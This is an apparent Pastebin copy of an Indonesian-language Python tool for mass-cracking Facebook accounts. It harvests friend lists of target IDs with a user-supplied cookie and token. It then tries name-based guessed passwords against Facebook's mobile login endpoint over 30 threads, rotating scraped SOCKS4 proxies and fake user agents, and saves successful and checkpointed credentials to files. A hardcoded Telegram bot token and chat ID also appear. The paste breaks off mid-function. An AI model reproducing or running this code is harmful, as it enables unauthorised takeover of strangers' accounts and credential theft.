Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Awoakwok Lu Lagi Ngedec Ya Slow Kgk Ada Logger Kok
- #Tinggal Make Doang Ngapa Harus Di Dec Sih Om
- #Yang Dec Muka Nya Pasti Kek Pentol😁
- #-----------------[ IMPORT-MODULE ]-------------------
- import requests,bs4,json,os,sys,random,datetime,time,re
- import urllib3,rich,base64
- from rich.table import Table as me
- from rich.console import Console as sol
- from bs4 import BeautifulSoup as sop
- from bs4 import BeautifulSoup as parser
- from bs4 import BeautifulSoup as par
- from concurrent.futures import ThreadPoolExecutor as tred
- from rich.console import Group as gp
- from rich.panel import Panel as panel
- from rich.panel import Panel as nel
- from rich import print as cetak
- from rich.markdown import Markdown as mark
- from rich.columns import Columns as col
- from rich.tree import Tree
- from rich import print as rprint
- from rich import print as prints
- from rich import pretty
- from rich.progress import Progress,SpinnerColumn,BarColumn,TextColumn
- from rich.text import Text as tekz
- try:
- import rich
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Rich •'))
- os.system('pip install rich')
- try:
- import stdiomask
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Stdiomask •'))
- os.system('pip install stdiomask')
- try:
- import requests
- except ImportError:
- cetak(nel('\t• Sedang Menginstall Modul Requests •'))
- os.system('pip install requests && pip install mechanize ')
- #------------------[ USER-AGENT ]-------------------#
- pretty.install()
- CON=sol()
- ugen2=[]
- ugen=[]
- cokbrut=[]
- ses=requests.Session()
- princp=[]
- from rich.console import Console
- from rich.columns import Columns
- wa = Console()
- try:
- prox= requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=80000&country=all&ssl=all&anonymity=all').text
- open('.prox.txt','w').write(prox)
- except Exception as e:
- print('[[\x1b[1;92m•\x1b[1;97m] [\x1b[1;96mBrayennnXD_Ganteng')
- prox=open('.prox.txt','r').read().splitlines()
- for xd in range(10000):
- a='Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A)'
- b=random.randrange(1, 9)
- c=random.randrange(1, 9)
- d='Chrome'
- e=random.randrange(100, 9999)
- f='Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- g=random.randrange(1, 9)
- h=random.randrange(1, 4)
- i=random.randrange(1, 4)
- j=random.randrange(1, 4)
- k='Mobile Safari/E7FBAF'
- uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}')
- ugen2.append(uaku)
- aa='Mozilla/5.0 (Linux; Android'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='SM-J415F)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36 OPR/72.5.3767.69342'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Linux; Android 12;'
- b=random.choice(['6','7','8','9','10','11','12'])
- c='SAMSUNG SM-N986U)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/16.0 Chrome/92.0.4515.166'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- aa='Mozilla/5.0 (Linux; Android 11;'
- b=random.choice(['6','7','8','9','10','11','12'])
- c=' SAMSUNG SM-T225)'
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.randrange(1, 999)
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g='AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/13.2 Chrome/83.0.4103.106'
- h=random.randrange(73,100)
- i='0'
- j=random.randrange(4200,4900)
- k=random.randrange(40,150)
- l='Mobile Safari/537.36'
- uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}'
- ugen.append(uaku2)
- for x in range(10):
- a='Mozilla/5.0 (Linux; Android 7.1.2; Redmi 4A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/'
- b=random.randrange(100, 9999)
- c=random.randrange(100, 9999)
- d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'])
- h=random.randrange(1, 9)
- i='Linux; Android 7.1.2; Redmi 4A)'
- j=random.randrange(1, 9)
- k=random.randrange(1, 9)
- l='Mobile Safari/E7FBAF'
- uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}'
- def uaku():
- try:
- ua=open('bbnew.txt','r').read().splitlines()
- for ub in ua:
- ugen.append(ub)
- except:
- a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text
- ua=open('.bbnew.txt','w')
- aa=re.findall('line">(.*?)<',str(a))
- for un in aa:
- ua.write(un+'\n')
- ua=open('.bbnew.txt','r').read().splitlines()
- #------------[ INDICATION ]---------------#
- id,id2,loop,ok,cp,akun,oprek,lisensiku,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[]
- taplikasi=['no']
- cokbrut=[]
- method = []
- pwpluss,pwnya=[],[]
- P = '\x1b[1;97m' # PUTIH
- M = '\x1b[1;91m' # MERAH
- H = '\x1b[1;92m' # HIJAU
- K = '\x1b[1;93m' # KUNING
- B = '\x1b[1;94m' # BIRU
- U = '\x1b[1;95m' # UNGU
- O = '\x1b[1;96m' # BIRU MUDA
- N = '\x1b[0m' # WARNA MATI
- #------------[ WARNA-COLOR ]--------------#
- P = '\x1b[1;97m'
- M = '\x1b[1;91m'
- H = '\x1b[1;92m'
- K = '\x1b[1;93m'
- B = '\x1b[1;94m'
- U = '\x1b[1;95m'
- O = '\x1b[1;96m'
- N = '\x1b[0m'
- Z = "\033[1;30m"
- sir = '\033[41m\x1b[1;97m'
- x = '\33[m' # DEFAULT
- m = '\x1b[1;91m' #RED +
- k = '\033[93m' # KUNING +
- h = '\x1b[1;92m' # HIJAU +
- hh = '\033[32m' # HIJAU -
- u = '\033[95m' # UNGU
- kk = '\033[33m' # KUNING -
- b = '\33[1;96m' # BIRU -
- p = '\x1b[0;34m' # BIRU +
- asu = random.choice([m,k,h,u,b])
- #--------------------[ CONVERTER-BULAN ]--------------#
- dic = {'1':'January','2':'February','3':'March','4':'April','5':'May','6':'June','7':'July','8':'August','9':'September','10':'October','11':'November','12':'December'}
- dic2 = {'01':'January','02':'February','03':'March','04':'April','05':'May','06':'June','07':'July','08':'August','09':'September','10':'October','11':'November','12':'Devember'}
- tgl = datetime.datetime.now().day
- bln = dic[(str(datetime.datetime.now().month))]
- thn = datetime.datetime.now().year
- okc = 'OK-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- cpc = 'CP-'+str(tgl)+'-'+str(bln)+'-'+str(thn)+'.txt'
- ID="5587313827";
- tok="5660344060:AAED1OE3pftSW0MKvOEBcVugy_wvF-OoA90"
- #------------------[ MACHINE-SUPPORT ]---------------#
- def alvino_xy(u):
- for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.005)
- def clear():
- os.system('clear')
- def back():
- login()
- #------------------[ LOGO-LAKNAT ]-----------------#
- def banner():
- cetak(panel(f"""
- ______ ___ _____ ___________ _____ _____ _ __
- | ___/ _ \/ __ \| ___| ___ \| _ || _ | | / /
- | |_ / /_\ \ / \/| |__ | |_/ /| | | || | | | |/ / | | Thanks To DerrXr
- | _|| _ | | | __|| ___ \| | | || | | | \ | | Recode ByBrayennnXD
- | | | | | | \__/\| |___| |_/ /\ \_/ /\ \_/ / |\ \ | | Version 2.1
- \_| \_| |_/\____/\____/\____/ \___/ \___/\_| \_/
- """,width=90,title=f"BANNER",style=f""))
- #--------------------[ BAGIAN-MASUK ]--------------#
- def login():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- tokenku.append(token)
- try:
- sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok})
- sy2 = json.loads(sy.text)['name']
- sy3 = json.loads(sy.text)['id']
- menu(sy2,sy3)
- except KeyError:
- login_lagi334()
- except requests.exceptions.ConnectionError:
- li = '# PROBLEM INTERNET CONNECTION, CHECK AND TRY AGAIN'
- lo = mark(li, style='red')
- sol().print(lo, style='cyan')
- exit()
- except IOError:
- login_lagi334()
- def login_lagi334():
- try:
- os.system('clear')
- banner()
- cetak(nel('\tSARAN EXTENSION : [green]COOKIEDOUGH[white]'))
- ses = requests.Session()
- cookie = input('\nMasukan Cookie : ')
- cookies = {'cookie':cookie}
- url = 'https://www.facebook.com/adsmanager/manage/campaigns'
- req = ses.get(url,cookies=cookies)
- set = re.search('act=(.*?)&nav_source',str(req.content)).group(1)
- nek = '%s?act=%s&nav_source=no_referrer'%(url,set)
- roq = ses.get(nek,cookies=cookies)
- tok = re.search('accessToken="(.*?)"',str(roq.content)).group(1)
- tokenw = open(".token.txt", "w").write(tok)
- cokiew = open(".cok.txt", "w").write(cookie)
- print('\nLogin Berhasil | python BrayennnFB.py')
- except Exception as e:
- os.system('rm -rf .cok.txt && rm -rf .token.txt')
- print(e)
- exit()
- #------------------[ BAGIAN-MENU ]----------------#
- def menu(my_name,my_id):
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- print('[×] Cookies Kadaluarsa ')
- time.sleep(5)
- login_lagi334()
- os.system('clear')
- banner()
- ip = requests.get("https://api.ipify.org").text
- cetak(panel(f'[bold white][[bold green]•[/][bold white]][/] [bold white]Username : [bold green]{my_name}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Idz : [bold green]{my_id}[/]\n[bold white][[bold green]•[/][bold white]][/] [bold white]User Ip : [bold green]{ip}[/][/] ',width=90,title=f"[bold green]Infomasi",style=f"bold white"))
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Publick [ ON ][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Massal [ ON ][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Cek Hasil Crack [ ON ][/]\n[bold white][[bold green]00[/][bold white]][/] [bold red]Hapus Cookies [ ON ][/]',width=90,title=f"[bold green]List Menu",style=f"bold white"))
- _____brayennn___xd____ = input(f'\n{M} └── {P}Pilih Menu Crack : ')
- if _____brayennn___xd____ in ['1','01']:
- brayen_dump()
- elif _____brayennn___xd____ in ['2','02']:
- dump_massal()
- elif _____brayennn___xd____ in ['3','03']:
- result()
- elif _____brayennn___xd____ in ['0','00']:
- os.system('rm -rf .token.txt')
- os.system('rm -rf .cookie.txt')
- print(f'{m}Sukses Logout+Hapus Kukis{x}')
- exit()
- else:
- print('Pilih Yang Bener Asu ')
- back()
- def error():
- print(f'Maaf Fitur Ini Masih Di Perbaiki')
- time.sleep(4)
- back()
- #-----------------[ HASIL-CRACK ]-----------------#
- def result():
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Hasil OK[/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Hasil CP[/]\n[bold white][[bold green]03[/][bold white]][/] [bold red]Kembali[/]',width=90,title=f"[bold white]• [/][bold green]List Menu Cek[/][bold white] •[/]",style=f"bold white"))
- kz = input(f'\n {P}[{x}{H}?{x}{P}]{x} {P}select{x} : ')
- if kz in ['2','02']:
- try:vin = os.listdir('CP')
- except FileNotFoundError:
- print('File Tidak Di Temukan ')
- time.sleep(3)
- back()
- if len(vin)==0:
- print('Anda Tidak Memiliki Hasil CP ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('CP/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<10:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input(f'\n {P}[{x}{H}?{x}{P}]{x} {P}select{x} : ')
- try:geh = lol[geeh]
- except KeyError:
- print(' └── Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('CP/'+geh,'r').read().splitlines()
- except:
- print(' └── File Tidak Di Temukan ')
- time.sleep(2)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="yellow"))
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['1','01']:
- try:vin = os.listdir('OK')
- except FileNotFoundError:
- print(' └── File Tidak Di Temukan ')
- time.sleep(2)
- back()
- if len(vin)==0:
- print(' └── Anda Tidak Mempunyai File OK ')
- time.sleep(2)
- back()
- else:
- cih = 0
- lol = {}
- for isi in vin:
- try:hem = open('OK/'+isi,'r').readlines()
- except:continue
- cih+=1
- if cih<80:
- nom = '0'+str(cih)
- lol.update({str(cih):str(isi)})
- lol.update({nom:str(isi)})
- print('['+nom+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- else:
- lol.update({str(cih):str(isi)})
- print('['+str(cih)+'] '+isi+' [ '+str(len(hem))+' Account ]'+x)
- geeh = input('\n └── Pilih : ')
- try:geh = lol[geeh]
- except KeyError:
- print('Pilih Yang Bener Kontol ')
- exit()
- try:lin = open('OK/'+geh,'r').read().splitlines()
- except:
- print('File Tidak Di Temukan ')
- time.sleep(2)
- back()
- nocp=0
- for cpku in range(len(lin)):
- cpkuni=lin[nocp].split('|')
- cpkuh=f'# ID : {cpkuni[0]} PASSWORD : {cpkuni[1]}'
- sol().print(mark(cpkuh,style="green"))
- print(f'{hh}COOKIE : {x}{cpkuni[2]}')
- nocp +=1
- input('[ Klik Enter ]')
- back()
- elif kz in ['3','03']:
- back()
- else:
- print('Pilih Yang Bener Kontol ')
- exit()
- #-------------------[ CRACK-PUBLIK-MASSAL]----------------#
- def brayen_dump():
- try:
- token = open('.token.txt','r').read()
- kukis = open('.cok.txt','r').read()
- except IOError:
- exit()
- cetak(panel('\t [bold white]Ketik [bold green]Me[/] Jika Ingin Crack Pertemanan Sendiri',width=90,style='bold white'))
- pil = input(f'{M} └── {P}Masukan ID target : ')
- try:
- koh2 = requests.get('https://graph.facebook.com/v1.0/'+pil+'?fields=friends.limit(5000)&access_token='+tokenku[0],cookies={'cookie': kukis}).json()
- for pi in koh2['friends']['data']:
- try:id.append(pi['id']+'|'+pi['name'])
- except:continue
- print('')
- print(f'{M} └── {P}Total ID yang Terkumpul : {h}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print(' └── Internetmu Gak Ada Bodoh')
- exit()
- except (KeyError,IOError):
- print(' └── Pertemanan Tidak Publick Atau Cookie And Token Anda Busuk')
- exit()
- #-------------------[ CRACK-PUBLIK ]----------------#
- def dump_massal():
- try:
- token = open('.token.txt','r').read()
- cok = open('.cok.txt','r').read()
- except IOError:
- exit()
- try:
- cetak(panel(f'[bold white]\t Jika Ada Sesuatu Yang Terjadi Kami Tidak Bertanggung Jawab[/]',width=90,title=f"[bold green]Crack Massal",style=f"bold white"))
- jum = int(input(f' {P}Mau Berapa Idz Target {x} : '))
- except ValueError:
- print(' └── Wrong input ')
- exit()
- if jum<1 or jum>80:
- print(f' [{h}*{x}] Friendship Not Public ')
- exit()
- ses=requests.Session()
- yz = 0
- for met in range(jum):
- yz+=1
- kl = input(f' {P}Masukan Idz Target Yang Ke '+str(yz)+' : ')
- uid.append(kl)
- for userr in uid:
- try:
- col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
- for mi in col['friends']['data']:
- try:
- iso = (mi['id']+'|'+mi['name'])
- if iso in id:pass
- else:id.append(iso)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- print(' └── unstable signal ')
- exit()
- try:
- print(f' {P}Total Idz Target Yang Terkumpul{x} : {h}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print(f'{x}')
- print(' └── Unstable signal ')
- back()
- except (KeyError,IOError):
- print(f' └── {k} Friendship Not Public {x}')
- time.sleep(3)
- back()
- #-------------[ PENGATURAN-IDZ ]---------------#
- def setting():
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Crack Idz Old [ Not Recommended ][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Crack Idz New [ Recommended][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Crack Idz Random [ Very Recommended ][/]',width=90,title=f"[bold green]Setting Urutan Idz",style=f"bold white"))
- print('')
- hu = input(f'{M} └── {P}Pilih urutan id : ')
- if hu in ['1','01']:
- for tua in sorted(id):
- id2.append(tua)
- elif hu in ['2','02']:
- muda=[]
- for bacot in sorted(id):
- muda.append(bacot)
- bcm=len(muda)
- bcmi=(bcm-1)
- for xmud in range(bcm):
- id2.append(muda[bcmi])
- bcmi -=1
- elif hu in ['3','03']:
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- else:
- print(' Pilih Yang Bener Kontooll ')
- exit()
- cetak(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Metode M.facebook.com [ Recommended ][/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Metode Mbasic.facebook.com [ Very Recommended ][/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Metode Free.facebook.com [ Very Recommended ][/]\n[bold white][[bold green]04[/][bold white]][/] [bold white]Metode M.facebook.com V2 [ Recommended ][/]',width=90,title=f"[bold green]Setting Metode",style=f"bold white"))
- print('')
- hc = input(f'{M} └── {P}Pilih metode : ')
- if hc in ['1','01']:
- method.append('mobile')
- elif hc in ['2','02']:
- method.append('mbasic')
- elif hc in ['3','03']:
- method.append('free')
- elif hc in ['4','04']:
- method.append('touch')
- else:
- method.append('mobile')
- print('')
- _jembot_ = input(' └── Tampilkan Aplikasi y/t : ')
- cetak(panel('''[bold white][[bold green]01[bold white]] [bold white]Nama, Nama123, Nama1234 [ Recommended ]
- [bold white][[bold green]02[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 [ Recommended ]
- [bold white][[bold green]03[bold white]] [bold white]Nama, Nama123, Nama1234, Nama12345 + Manual [ Not Recommended ]''',style='bold white',title='[bold green]Setting Password',width=90))
- if _jembot_ in ['']:
- print(' └── Pilih Yang Bener ')
- back()
- elif _jembot_ in ['y','Y']:
- taplikasi.append('ya')
- else:
- taplikasi.append('no')
- pwplus=input(f'{M} └── {P}Pilih sandi : ')
- if pwplus in ['03','3']:
- pwpluss.append('ya')
- pwku=input(f'{M} └── {P}Sandi : ')
- pwkuh=pwku.split(',')
- for xpw in pwkuh:
- pwnya.append(xpw)
- else:
- pwpluss.append('no')
- passwrd()
- #-------------------[ BAGIAN-WORDLIST ]------------#
- def passwrd():
- global prog,des
- print('')
- urut = []
- urut.append(panel(f' [bold green]%s [bold white]'%(okc),width=43,title=f"[bold green]OK SAVE IN",style=f"bold white"))
- urut.append(panel(f' [bold yellow]%s [bold white]'%(cpc),width=44,title=f"[bold yellow]CP SAVE IN",style=f"bold white"))
- wa.print(Columns(urut))
- cetak(panel(f'\t[bold white]On/Off Mode Pesawat Setiap 500 Idz Agar Terhindar Dari Spam Ip',width=90,title=f"[bold green]Informasi",subtitle=f"[bold green]Proses Crack",style=f"bold white"))
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'))
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'mobile' in method:
- pool.submit(crack,idf,pwv)
- elif 'free' in method:
- pool.submit(crackfree,idf,pwv)
- elif 'touch' in method:
- pool.submit(cracktouch,idf,pwv)
- elif 'mbasic' in method:
- pool.submit(crackmbasic,idf,pwv)
- else:
- pool.submit(crackmbasic,idf,pwv)
- print('')
- print(f' Crack Telah Selesai,Semoga Anda Bersyukur Dengan Hasil Nya')
- print(f' [{h}•{x}]{h} OK : {h}%s '%(ok))
- print(f'{x} [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
- #--------------------[ METODE MOBILE V1 ]-----------------#
- def crack(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}BrayennnXD{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- nip=random.choice(prox)
- proxs= {'http': 'socks4://'+nip}
- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/login.php?skip_api_login=1&api_key=1477455072510375&kid_directed_site=0&app_id=1477455072510375&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv3.3%2Fdialog%2Foauth%3Fscope%3Demail%26response_type%3Dcode%26client_id%3D1477455072510375%26redirect_uri%3Dhttps%253A%252F%252Fmember-m.lazada.co.id%252Fuser%252Ffacebook-login%26state%3D%257B%2522bizScene%2522%253A%2522%2522%252C%2522redirect%2522%253A%2522https%253A%252F%252Fmember-m.lazada.co.id%252Fuser%252Faccount%2522%252C%2522shopOwnerId%2522%253A%2522%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Dc793acb9-764d-457c-bb39-812035a2f8c5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fmember-m.lazada.co.id%2Fuser%2Ffacebook-login%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522bizScene%2522%253A%2522%2522%252C%2522redirect%2522%253A%2522https%253A%252F%252Fmember-m.lazada.co.id%252Fuser%252Faccount%2522%252C%2522shopOwnerId%2522%253A%2522%2522%257D%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- tree = Tree(f" ")
- tree.add(f"[bold yellow]{idf}|{pw}")
- tree.add(f"[bold yellow]{ua}\n")
- cetak(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- cp+=1
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- ok+=1
- coki=po.cookies.get_dict()
